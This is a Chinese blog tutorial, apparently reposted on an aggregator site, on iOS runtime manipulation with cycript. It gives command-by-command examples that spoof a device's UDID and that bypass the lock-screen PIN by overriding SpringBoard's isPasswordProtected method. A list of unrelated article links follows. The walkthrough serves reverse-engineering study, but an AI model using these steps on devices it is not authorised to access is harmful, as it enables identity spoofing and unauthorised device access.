iOS runtime攻击-cycript
来源:互联网 发布:淘宝桔子表行靠谱不 编辑:程序博客网 时间:2024/05/29 11:30
iOS runtime攻击,目前流行的有两种方式,一种是动态链接库注入,通过编写定制的dylib文件与设置DYLD_INSERT_LIBRARIES环境变量来修改API方法的实现(可参照Mac hook-DYLD_INSERT_LIBRARIES中的例子);还有一种方法就是利用objective-c runtime的消息机制的特性,特别是objc_msgSend,来操作应用,其中以cycript这种混合了objective-c与javascript语法的工具为翘楚。接下来介绍一下使用cycript操纵iOS应用运行时的例子。
例子1:伪造UDID(UIDevice类说明)
第一步:选择待操作的进程
danimato-iPod:~ root# cycript -p 8442(可以是进程id,也可以是进程名)
第二步:获得当前设备的UDID
cy# [[UIDevice currentDevice] uniqueIdentifier];@"a94b65f9ac84c9d5bb7f377d5122a622ea1addf6"
第三步:替换uniqueIdentifier实现方法的实现
cy# UIDevice.messages['uniqueIdentifier'] = function(){ return @"tanjiti";}function () {return Instance.box("tanjiti");}
第四步:检查替换后的UDID获取结果
cy# [[UIDevice currentDevice] uniqueIdentifier];@"tanjiti"
例子2: 解锁屏幕锁定PIN(SpringBoard/SBAwayController.h说明)
第一步:选择待操作的进程
第二步:检查设备是否开启了密码锁定功能(1表示锁定,0表示解锁)danimato-iPod:~ root# cycript -p SpringBoard
第三步:替换isPasswordProtected实现方法cy# [SBAwayController.sharedAwayController isPasswordProtected]1
第四步:检查替换后设备的锁定状态(1表示锁定,0表示解锁)cy# SBAwayController.messages['isPasswordProtected']=function(){return NO;}
function () {return NO;}
cy# [SBAwayController.sharedAwayController isPasswordProtected]0
第五步:最后调用unlockWithSound方法来访问home屏幕
通过以上操作,成功解锁屏幕锁定cy# [SBAwayController.sharedAwayController unlockWithSound:1]
接下来会写一下runtime attack中的核心组件MobileSubstrate,与非常流行的Theos越狱开发框架。
参考:
http://iphonedevwiki.net/index.php/Cycript
http://iphonedevwiki.net/index.php/Cycript_Tricks
0 0
- iOS runtime攻击-cycript
- iOS runtime攻击-cycript
- 第三章:iOS应用运行时解析——3.3 Cycript和Runtime Analysis
- iOS运行时工具-cycript
- iOS运行时工具-cycript
- iOS运行时工具-cycript
- cycript
- Cycript
- 保护App重要数据,防止Cycript/Runtime修改
- 保护App重要数据,防止Cycript/Runtime修改
- iOS使用cycript调试APP技巧
- iOS应用程序安全(8)-用Cycript进行Method Swizzling
- iOS应用安全Part4:使用Cycript进行运行时分析
- iOS应用逆向工程(四):利用Cycript 操作运行时
- iOS应用逆向工程(五):利用Cycript 定位目标函数
- Cycript基本语法与使用-iOS逆向工程
- Cycript实战(微信-登陆界面)-iOS逆向工程
- [runtime] iOS-Runtime-Headers
- iOS App 升级时文件的保留情况
- 架构师知识体系(1)--WEB架构师成长之路
- LeetCode——Add Two Numbers
- 经典排序算法效率研究
- 1232 - SKYLINE
- iOS runtime攻击-cycript
- Linux Shell编程case语句
- UIscrollView的用法和代理的使用
- android 动态添加ImageView 设置setPadding不起作用问
- c#基础5
- 代理(超级能理解的自己的方式)
- java生成随机数
- Java总结2
- hdu 1874 畅通工程续(最短路spfa邻接矩阵)